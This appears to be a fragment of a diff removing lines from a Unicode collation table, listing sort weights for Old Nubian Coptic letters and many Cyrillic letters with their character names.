-2CE1  ; [.1F9B.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NYI
-2CE0  ; [.1F9B.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NYI
-2CE3  ; [.1F9C.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN WAU
-2CE2  ; [.1F9C.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN WAU
-0430  ; [.1F9D.0020.0002] # CYRILLIC SMALL LETTER A
-2DF6  ; [.1F9D.0020.0004] # COMBINING CYRILLIC LETTER A
-0410  ; [.1F9D.0020.0008] # CYRILLIC CAPITAL LETTER A
-04D1  ; [.1F9D.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER A WITH BREVE
-04D0  ; [.1F9D.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER A WITH BREVE
-04D3  ; [.1F9D.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER A WITH DIAERESIS
-04D2  ; [.1F9D.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER A WITH DIAERESIS
-04D9  ; [.1FA1.0020.0002] # CYRILLIC SMALL LETTER SCHWA
-04D8  ; [.1FA1.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA
-04DB  ; [.1FA1.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS
-04DA  ; [.1FA1.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS
-04D5  ; [.1FA5.0020.0002] # CYRILLIC SMALL LIGATURE A IE
-04D4  ; [.1FA5.0020.0008] # CYRILLIC CAPITAL LIGATURE A IE
-0431  ; [.1FA9.0020.0002] # CYRILLIC SMALL LETTER BE
-2DE0  ; [.1FA9.0020.0004] # COMBINING CYRILLIC LETTER BE
-0411  ; [.1FA9.0020.0008] # CYRILLIC CAPITAL LETTER BE
-0432  ; [.1FAD.0020.0002] # CYRILLIC SMALL LETTER VE
-2DE1  ; [.1FAD.0020.0004] # COMBINING CYRILLIC LETTER VE
-0412  ; [.1FAD.0020.0008] # CYRILLIC CAPITAL LETTER VE
-0433  ; [.1FB1.0020.0002] # CYRILLIC SMALL LETTER GHE
-2DE2  ; [.1FB1.0020.0004] # COMBINING CYRILLIC LETTER GHE
-0413  ; [.1FB1.0020.0008] # CYRILLIC CAPITAL LETTER GHE
-0453  ; [.1FB1.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER GJE
-0403  ; [.1FB1.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER GJE
-0491  ; [.1FB1.0020.0004][.0000.010C.0004] # CYRILLIC SMALL LETTER GHE WITH UPTURN
-0490  ; [.1FB1.0020.000A][.0000.010C.0004] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN
-0493  ; [.1FB5.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE
-0492  ; [.1FB5.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE
-04FB  ; [.1FB9.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK
-04FA  ; [.1FB9.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK
-0495  ; [.1FBD.0020.0002] # CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK
-0494  ; [.1FBD.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK
-04F7  ; [.1FC1.0020.0002] # CYRILLIC SMALL LETTER GHE WITH DESCENDER
-04F6  ; [.1FC1.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH DESCENDER
-0434  ; [.1FC5.0020.0002] # CYRILLIC SMALL LETTER DE
-2DE3  ; [.1FC5.0020.0004] # COMBINING CYRILLIC LETTER DE
-0414  ; [.1FC5.0020.0008] # CYRILLIC CAPITAL LETTER DE
-0501  ; [.1FC9.0020.0002] # CYRILLIC SMALL LETTER KOMI DE
-0500  ; [.1FC9.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DE
-A681  ; [.1FCA.0020.0002] # CYRILLIC SMALL LETTER DWE
-A680  ; [.1FCA.0020.0008] # CYRILLIC CAPITAL LETTER DWE
-0452  ; [.1FCB.0020.0002] # CYRILLIC SMALL LETTER DJE
-0402  ; [.1FCB.0020.0008] # CYRILLIC CAPITAL LETTER DJE
-A663  ; [.1FCF.0020.0002] # CYRILLIC SMALL LETTER SOFT DE
-A662  ; [.1FCF.0020.0008] # CYRILLIC CAPITAL LETTER SOFT DE
-0503  ; [.1FD0.0020.0002] # CYRILLIC SMALL LETTER KOMI DJE
-0502  ; [.1FD0.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DJE
-0499  ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER ZE WITH DESCENDER
-0498  ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER
-0435  ; [.1FD5.0020.0002] # CYRILLIC SMALL LETTER IE
-2DF7  ; [.1FD5.0020.0004] # COMBINING CYRILLIC LETTER IE
-0415  ; [.1FD5.0020.0008] # CYRILLIC CAPITAL LETTER IE
-0450  ; [.1FD5.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER IE WITH GRAVE
-0400  ; [.1FD5.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER IE WITH GRAVE
-04D7  ; [.1FD5.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER IE WITH BREVE
-04D6  ; [.1FD5.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER IE WITH BREVE
-0451  ; [.1FD5.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER IO
-0401  ; [.1FD5.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER IO
-0454  ; [.1FD9.0020.0002] # CYRILLIC SMALL LETTER UKRAINIAN IE
-A674  ; [.1FD9.0020.0004] # COMBINING CYRILLIC LETTER UKRAINIAN IE
-0404  ; [.1FD9.0020.0008] # CYRILLIC CAPITAL LETTER UKRAINIAN IE
-0436  ; [.1FDD.0020.0002] # CYRILLIC SMALL LETTER ZHE
-2DE4  ; [.1FDD.0020.0004] # COMBINING CYRILLIC LETTER ZHE
-0416  ; [.1FDD.0020.0008] # CYRILLIC CAPITAL LETTER ZHE
-04C2  ; [.1FDD.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER ZHE WITH BREVE
-04C1  ; [.1FDD.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER ZHE WITH BREVE
-04DD  ; [.1FDD.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZHE WITH DIAERESIS
-04DC  ; [.1FDD.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS
-052B  ; [.1FE1.0020.0002] # CYRILLIC SMALL LETTER DZZHE
-052A  ; [.1FE1.0020.0008] # CYRILLIC CAPITAL LETTER DZZHE
-A685  ; [.1FE2.0020.0002] # CYRILLIC SMALL LETTER ZHWE
-A684  ; [.1FE2.0020.0008] # CYRILLIC CAPITAL LETTER ZHWE
-0497  ; [.1FE3.0020.0002] # CYRILLIC SMALL LETTER ZHE WITH DESCENDER
-0496  ; [.1FE3.0020.0008] # CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER
-0437  ; [.1FE7.0020.0002] # CYRILLIC SMALL LETTER ZE
-2DE5  ; [.1FE7.0020.0004] # COMBINING CYRILLIC LETTER ZE
-0417  ; [.1FE7.0020.0008] # CYRILLIC CAPITAL LETTER ZE
-04DF  ; [.1FE7.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZE WITH DIAERESIS
-04DE  ; [.1FE7.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS
-A641  ; [.1FEB.0020.0002] # CYRILLIC SMALL LETTER ZEMLYA
-A640  ; [.1FEB.0020.0008] # CYRILLIC CAPITAL LETTER ZEMLYA
-0505  ; [.1FEC.0020.0002] # CYRILLIC SMALL LETTER KOMI ZJE
-0504  ; [.1FEC.0020.0008] # CYRILLIC CAPITAL LETTER KOMI ZJE
-0511  ; [.1FED.0020.0002] # CYRILLIC SMALL LETTER REVERSED ZE
-0510  ; [.1FED.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED ZE
-A643  ; [.1FEE.0020.0002] # CYRILLIC SMALL LETTER DZELO
-A642  ; [.1FEE.0020.0008] # CYRILLIC CAPITAL LETTER DZELO
-0455  ; [.1FEF.0020.0002] # CYRILLIC SMALL LETTER DZE
-0405  ; [.1FEF.0020.0008] # CYRILLIC CAPITAL LETTER DZE
-A645  ; [.1FF3.0020.0002] # CYRILLIC SMALL LETTER REVERSED DZE
-A644  ; [.1FF3.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED DZE
-04E1  ; [.1FF4.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN DZE
-04E0  ; [.1FF4.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN DZE
-A689  ; [.1FF8.0020.0002] # CYRILLIC SMALL LETTER DZZE
-A688  ; [.1FF8.0020.0008] # CYRILLIC CAPITAL LETTER DZZE
-0507  ; [.1FF9.0020.0002] # CYRILLIC SMALL LETTER KOMI DZJE
-0506  ; [.1FF9.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DZJE
-A683  ; [.1FFA.0020.0002] # CYRILLIC SMALL LETTER DZWE
-A682  ; [.1FFA.0020.0008] # CYRILLIC CAPITAL LETTER DZWE
-0438  ; [.1FFB.0020.0002] # CYRILLIC SMALL LETTER I
-A675  ; [.1FFB.0020.0004] # COMBINING CYRILLIC LETTER I
-0418  ; [.1FFB.0020.0008] # CYRILLIC CAPITAL LETTER I
-045D  ; [.1FFB.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER I WITH GRAVE
-040D  ; [.1FFB.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER I WITH GRAVE
-04E5  ; [.1FFB.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER I WITH DIAERESIS
-04E4  ; [.1FFB.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER I WITH DIAERESIS
-04E3  ; [.1FFB.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER I WITH MACRON
-04E2  ; [.1FFB.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER I WITH MACRON
-048B  ; [.1FFF.0020.0002] # CYRILLIC SMALL LETTER SHORT I WITH TAIL
-048A  ; [.1FFF.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I WITH TAIL
-0456  ; [.2003.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
-0406  ; [.2003.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
-0457  ; [.2003.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YI
-A676  ; [.2003.0020.0004][.0000.002B.0004] # COMBINING CYRILLIC LETTER YI
-0407  ; [.2003.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YI
-A647  ; [.2007.0020.0002] # CYRILLIC SMALL LETTER IOTA
-A646  ; [.2007.0020.0008] # CYRILLIC CAPITAL LETTER IOTA
-0439  ; [.2008.0020.0002] # CYRILLIC SMALL LETTER SHORT I
-0438 0306 ; [.2008.0020.0002] # CYRILLIC SMALL LETTER SHORT I
-0419  ; [.2008.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I
-0418 0306 ; [.2008.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I
-0458  ; [.200C.0020.0002] # CYRILLIC SMALL LETTER JE
-0408  ; [.200C.0020.0008] # CYRILLIC CAPITAL LETTER JE
-A649  ; [.2010.0020.0002] # CYRILLIC SMALL LETTER DJERV
-2DF8  ; [.2010.0020.0004] # COMBINING CYRILLIC LETTER DJERV
-A648  ; [.2010.0020.0008] # CYRILLIC CAPITAL LETTER DJERV
-043A  ; [.2011.0020.0002] # CYRILLIC SMALL LETTER KA
-2DE6  ; [.2011.0020.0004] # COMBINING CYRILLIC LETTER KA
-041A  ; [.2011.0020.0008] # CYRILLIC CAPITAL LETTER KA
-045C  ; [.2011.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER KJE
-040C  ; [.2011.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER KJE
-049B  ; [.2015.0020.0002] # CYRILLIC SMALL LETTER KA WITH DESCENDER
-049A  ; [.2015.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH DESCENDER
-04C4  ; [.2019.0020.0002] # CYRILLIC SMALL LETTER KA WITH HOOK
-04C3  ; [.2019.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH HOOK
-04A1  ; [.201D.0020.0002] # CYRILLIC SMALL LETTER BASHKIR KA
-04A0  ; [.201D.0020.0008] # CYRILLIC CAPITAL LETTER BASHKIR KA
-049F  ; [.2021.0020.0002] # CYRILLIC SMALL LETTER KA WITH STROKE
-049E  ; [.2021.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH STROKE
-049D  ; [.2025.0020.0002] # CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE
-049C  ; [.2025.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE
-051F  ; [.2029.0020.0002] # CYRILLIC SMALL LETTER ALEUT KA
-051E  ; [.2029.0020.0008] # CYRILLIC CAPITAL LETTER ALEUT KA
-051B  ; [.202A.0020.0002] # CYRILLIC SMALL LETTER QA
-051A  ; [.202A.0020.0008] # CYRILLIC CAPITAL LETTER QA
-043B  ; [.202B.0020.0002] # CYRILLIC SMALL LETTER EL
-2DE7  ; [.202B.0020.0004] # COMBINING CYRILLIC LETTER EL
-041B  ; [.202B.0020.0008] # CYRILLIC CAPITAL LETTER EL
-1D2B  ; [.202F.0020.0002] # CYRILLIC LETTER SMALL CAPITAL EL
-04C6  ; [.2030.0020.0002] # CYRILLIC SMALL LETTER EL WITH TAIL
-04C5  ; [.2030.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH TAIL
-052F  ; [.2034.0020.0002] # CYRILLIC SMALL LETTER EL WITH DESCENDER
-052E  ; [.2034.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH DESCENDER
-0513  ; [.2035.0020.0002] # CYRILLIC SMALL LETTER EL WITH HOOK
-0512  ; [.2035.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH HOOK
-0521  ; [.2036.0020.0002] # CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK
-0520  ; [.2036.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK
-0459  ; [.2037.0020.0002] # CYRILLIC SMALL LETTER LJE
-0409  ; [.2037.0020.0008] # CYRILLIC CAPITAL LETTER LJE
-A665  ; [.203B.0020.0002] # CYRILLIC SMALL LETTER SOFT EL
-A664  ; [.203B.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EL
-0509  ; [.203C.0020.0002] # CYRILLIC SMALL LETTER KOMI LJE
-0508  ; [.203C.0020.0008] # CYRILLIC CAPITAL LETTER KOMI LJE
-0515  ; [.203D.0020.0002] # CYRILLIC SMALL LETTER LHA
-0514  ; [.203D.0020.0008] # CYRILLIC CAPITAL LETTER LHA
-043C  ; [.203E.0020.0002] # CYRILLIC SMALL LETTER EM
-2DE8  ; [.203E.0020.0004] # COMBINING CYRILLIC LETTER EM
-041C  ; [.203E.0020.0008] # CYRILLIC CAPITAL LETTER EM
-04CE  ; [.2042.0020.0002] # CYRILLIC SMALL LETTER EM WITH TAIL
-04CD  ; [.2042.0020.0008] # CYRILLIC CAPITAL LETTER EM WITH TAIL
-A667  ; [.2046.0020.0002] # CYRILLIC SMALL LETTER SOFT EM
-A666  ; [.2046.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EM
-043D  ; [.2047.0020.0002] # CYRILLIC SMALL LETTER EN
-2DE9  ; [.2047.0020.0004] # COMBINING CYRILLIC LETTER EN
-041D  ; [.2047.0020.0008] # CYRILLIC CAPITAL LETTER EN
-1D78  ; [.2047.0020.0014] # MODIFIER LETTER CYRILLIC EN
-0529  ; [.204B.0020.0002] # CYRILLIC SMALL LETTER EN WITH LEFT HOOK
-0528  ; [.204B.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK
-04CA  ; [.204C.0020.0002] # CYRILLIC SMALL LETTER EN WITH TAIL
-04C9  ; [.204C.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH TAIL
-04A3  ; [.2050.0020.0002] # CYRILLIC SMALL LETTER EN WITH DESCENDER
-04A2  ; [.2050.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH DESCENDER
-04C8  ; [.2054.0020.0002] # CYRILLIC SMALL LETTER EN WITH HOOK
-04C7  ; [.2054.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH HOOK
-0523  ; [.2058.0020.0002] # CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK
-0522  ; [.2058.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK
-04A5  ; [.2059.0020.0002] # CYRILLIC SMALL LIGATURE EN GHE
-04A4  ; [.2059.0020.0008] # CYRILLIC CAPITAL LIGATURE EN GHE
-045A  ; [.205D.0020.0002] # CYRILLIC SMALL LETTER NJE
-040A  ; [.205D.0020.0008] # CYRILLIC CAPITAL LETTER NJE
-050B  ; [.2061.0020.0002] # CYRILLIC SMALL LETTER KOMI NJE
-050A  ; [.2061.0020.0008] # CYRILLIC CAPITAL LETTER KOMI NJE
-043E  ; [.2062.0020.0002] # CYRILLIC SMALL LETTER O
-2DEA  ; [.2062.0020.0004] # COMBINING CYRILLIC LETTER O
-A669  ; [.2062.0020.0004] # CYRILLIC SMALL LETTER MONOCULAR O
-A66B  ; [.2062.0020.0004] # CYRILLIC SMALL LETTER BINOCULAR O
-A66D  ; [.2062.0020.0004] # CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
-A66E  ; [.2062.0020.0004] # CYRILLIC LETTER MULTIOCULAR O
-A699  ; [.2062.0020.0004] # CYRILLIC SMALL LETTER DOUBLE O
-A69B  ; [.2062.0020.0004] # CYRILLIC SMALL LETTER CROSSED O
-041E  ; [.2062.0020.0008] # CYRILLIC CAPITAL LETTER O
-A668  ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER MONOCULAR O
-A66A  ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER BINOCULAR O
-A66C  ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O
-A698  ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE O
-A69A  ; [.2062.0020.000A] # CYRILLIC CAPITAL LETTER CROSSED O
-04E7  ; [.2062.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER O WITH DIAERESIS
-04E6  ; [.2062.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER O WITH DIAERESIS
-04E9  ; [.2066.0020.0002] # CYRILLIC SMALL LETTER BARRED O
-04E8  ; [.2066.0020.0008] # CYRILLIC CAPITAL LETTER BARRED O
-04EB  ; [.2066.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS
-04EA  ; [.2066.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS
-043F  ; [.206A.0020.0002] # CYRILLIC SMALL LETTER PE
-2DEB  ; [.206A.0020.0004] # COMBINING CYRILLIC LETTER PE
-041F  ; [.206A.0020.0008] # CYRILLIC CAPITAL LETTER PE
-0525  ; [.206E.0020.0002] # CYRILLIC SMALL LETTER PE WITH DESCENDER
-0524  ; [.206E.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH DESCENDER
-04A7  ; [.206F.0020.0002] # CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK
-04A6  ; [.206F.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK
-0481  ; [.2073.0020.0002] # CYRILLIC SMALL LETTER KOPPA
-0480  ; [.2073.0020.0008] # CYRILLIC CAPITAL LETTER KOPPA
-0440  ; [.2077.0020.0002] # CYRILLIC SMALL LETTER ER
-2DEC  ; [.2077.0020.0004] # COMBINING CYRILLIC LETTER ER
-0420  ; [.2077.0020.0008] # CYRILLIC CAPITAL LETTER ER
-048F  ; [.207B.0020.0002] # CYRILLIC SMALL LETTER ER WITH TICK
-048E  ; [.207B.0020.0008] # CYRILLIC CAPITAL LETTER ER WITH TICK
-0517  ; [.207F.0020.0002] # CYRILLIC SMALL LETTER RHA
-0516  ; [.207F.0020.0008] # CYRILLIC CAPITAL LETTER RHA
-0441  ; [.2080.0020.0002] # CYRILLIC SMALL LETTER ES
-2DED  ; [.2080.0020.0004] # COMBINING CYRILLIC LETTER ES
-0421  ; [.2080.0020.0008] # CYRILLIC CAPITAL LETTER ES
-2DF5  ; [.2080.0020.0004][.2089.0020.0004] # COMBINING CYRILLIC LETTER ES-TE
-050D  ; [.2084.0020.0002] # CYRILLIC SMALL LETTER KOMI SJE
-050C  ; [.2084.0020.0008] # CYRILLIC CAPITAL LETTER KOMI SJE
-04AB  ; [.2085.0020.0002] # CYRILLIC SMALL LETTER ES WITH DESCENDER
-04AA  ; [.2085.0020.0008] # CYRILLIC CAPITAL LETTER ES WITH DESCENDER
-0442  ; [.2089.0020.0002] # CYRILLIC SMALL LETTER TE
-2DEE  ; [.2089.0020.0004] # COMBINING CYRILLIC LETTER TE
-0422  ; [.2089.0020.0008] # CYRILLIC CAPITAL LETTER TE
-A68D  ; [.208D.0020.0002] # CYRILLIC SMALL LETTER TWE
-A68C  ; [.208D.0020.0008] # CYRILLIC CAPITAL LETTER TWE
-050F  ; [.208E.0020.0002] # CYRILLIC SMALL LETTER KOMI TJE
-050E  ; [.208E.0020.0008] # CYRILLIC CAPITAL LETTER KOMI TJE
-04AD  ; [.208F.0020.0002] # CYRILLIC SMALL LETTER TE WITH DESCENDER
-04AC  ; [.208F.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH DESCENDER
-A68B  ; [.2093.0020.0002] # CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK
-A68A  ; [.2093.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK
-045B  ; [.2094.0020.0002] # CYRILLIC SMALL LETTER TSHE
-040B  ; [.2094.0020.0008] # CYRILLIC CAPITAL LETTER TSHE
-0443  ; [.2098.0020.0002] # CYRILLIC SMALL LETTER U
-A677  ; [.2098.0020.0004] # COMBINING CYRILLIC LETTER U
-0423  ; [.2098.0020.0008] # CYRILLIC CAPITAL LETTER U
-045E  ; [.2098.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT U
-040E  ; [.2098.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT U
-04F1  ; [.2098.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER U WITH DIAERESIS
-04F0  ; [.2098.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER U WITH DIAERESIS
-04F3  ; [.2098.0020.0002][.0000.002C.0002] # CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
-04F2  ; [.2098.0020.0008][.0000.002C.0002] # CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
-04EF  ; [.2098.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER U WITH MACRON
-04EE  ; [.2098.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER U WITH MACRON
-04AF  ; [.209C.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U
-04AE  ; [.209C.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U
-04B1  ; [.20A0.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE
-04B0  ; [.20A0.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE
-A64B  ; [.20A4.0020.0002] # CYRILLIC SMALL LETTER MONOGRAPH UK
-2DF9  ; [.20A4.0020.0004] # COMBINING CYRILLIC LETTER MONOGRAPH UK
-A64A  ; [.20A4.0020.0008] # CYRILLIC CAPITAL LETTER MONOGRAPH UK
-0479  ; [.20A5.0020.0002] # CYRILLIC SMALL LETTER UK
-0478  ; [.20A5.0020.0008] # CYRILLIC CAPITAL LETTER UK
-0444  ; [.20A9.0020.0002] # CYRILLIC SMALL LETTER EF
-A69E  ; [.20A9.0020.0004] # COMBINING CYRILLIC LETTER EF
-0424  ; [.20A9.0020.0008] # CYRILLIC CAPITAL LETTER EF
-0445  ; [.20AD.0020.0002] # CYRILLIC SMALL LETTER HA
-2DEF  ; [.20AD.0020.0004] # COMBINING CYRILLIC LETTER HA
-0425  ; [.20AD.0020.0008] # CYRILLIC CAPITAL LETTER HA
-04FD  ; [.20B1.0020.0002] # CYRILLIC SMALL LETTER HA WITH HOOK
-04FC  ; [.20B1.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH HOOK
-04FF  ; [.20B5.0020.0002] # CYRILLIC SMALL LETTER HA WITH STROKE
-04FE  ; [.20B5.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH STROKE
-04B3  ; [.20B9.0020.0002] # CYRILLIC SMALL LETTER HA WITH DESCENDER
-04B2  ; [.20B9.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH DESCENDER
-04BB  ; [.20BD.0020.0002] # CYRILLIC SMALL LETTER SHHA
-04BA  ; [.20BD.0020.0008] # CYRILLIC CAPITAL LETTER SHHA
-0527  ; [.20C1.0020.0002] # CYRILLIC SMALL LETTER SHHA WITH DESCENDER
-0526  ; [.20C1.0020.0008] # CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER
-A695  ; [.20C2.0020.0002] # CYRILLIC SMALL LETTER HWE
-A694  ; [.20C2.0020.0008] # CYRILLIC CAPITAL LETTER HWE
-0461  ; [.20C3.0020.0002] # CYRILLIC SMALL LETTER OMEGA
-A67B  ; [.20C3.0020.0004] # COMBINING CYRILLIC LETTER OMEGA
-0460  ; [.20C3.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA
-047F  ; [.20C7.0020.0002] # CYRILLIC SMALL LETTER OT
-047E  ; [.20C7.0020.0008] # CYRILLIC CAPITAL LETTER OT
-A64D  ; [.20CB.0020.0002] # CYRILLIC SMALL LETTER BROAD OMEGA
-A64C  ; [.20CB.0020.0008] # CYRILLIC CAPITAL LETTER BROAD OMEGA
-047D  ; [.20CC.0020.0002] # CYRILLIC SMALL LETTER OMEGA WITH TITLO
-047C  ; [.20CC.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA WITH TITLO
-047B  ; [.20D0.0020.0002] # CYRILLIC SMALL LETTER ROUND OMEGA
-047A  ; [.20D0.0020.0008] # CYRILLIC CAPITAL LETTER ROUND OMEGA
-0446  ; [.20D4.0020.0002] # CYRILLIC SMALL LETTER TSE
-2DF0  ; [.20D4.0020.0004] # COMBINING CYRILLIC LETTER TSE
-0426  ; [.20D4.0020.0008] # CYRILLIC CAPITAL LETTER TSE
-A661  ; [.20D8.0020.0002] # CYRILLIC SMALL LETTER REVERSED TSE
-A660  ; [.20D8.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED TSE
-A68F  ; [.20D9.0020.0002] # CYRILLIC SMALL LETTER TSWE
-A68E  ; [.20D9.0020.0008] # CYRILLIC CAPITAL LETTER TSWE
-04B5  ; [.20DA.0020.0002] # CYRILLIC SMALL LIGATURE TE TSE
-04B4  ; [.20DA.0020.0008] # CYRILLIC CAPITAL LIGATURE TE TSE
-A691  ; [.20DE.0020.0002] # CYRILLIC SMALL LETTER TSSE
-A690  ; [.20DE.0020.0008] # CYRILLIC CAPITAL LETTER TSSE
-0447  ; [.20DF.0020.0002] # CYRILLIC SMALL LETTER CHE
-2DF1  ; [.20DF.0020.0004] # COMBINING CYRILLIC LETTER CHE
-0427  ; [.20DF.0020.0008] # CYRILLIC CAPITAL LETTER CHE
-04F5  ; [.20DF.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER CHE WITH DIAERESIS
-04F4  ; [.20DF.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS
-052D  ; [.20E3.0020.0002] # CYRILLIC SMALL LETTER DCHE
-052C  ; [.20E3.0020.0008] # CYRILLIC CAPITAL LETTER DCHE
-A693  ; [.20E4.0020.0002] # CYRILLIC SMALL LETTER TCHE
-A692  ; [.20E4.0020.0008] # CYRILLIC CAPITAL LETTER TCHE
-04B7  ; [.20E5.0020.0002] # CYRILLIC SMALL LETTER CHE WITH DESCENDER
-04B6  ; [.20E5.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH DESCENDER
-04CC  ; [.20E9.0020.0002] # CYRILLIC SMALL LETTER KHAKASSIAN CHE
-04CB  ; [.20E9.0020.0008] # CYRILLIC CAPITAL LETTER KHAKASSIAN CHE
-04B9  ; [.20ED.0020.0002] # CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE
-04B8  ; [.20ED.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE
-A687  ; [.20F1.0020.0002] # CYRILLIC SMALL LETTER CCHE
-A686  ; [.20F1.0020.0008] # CYRILLIC CAPITAL LETTER CCHE
-04BD  ; [.20F2.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE
-04BC  ; [.20F2.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE
-04BF  ; [.20F6.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER
-04BE  ; [.20F6.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER
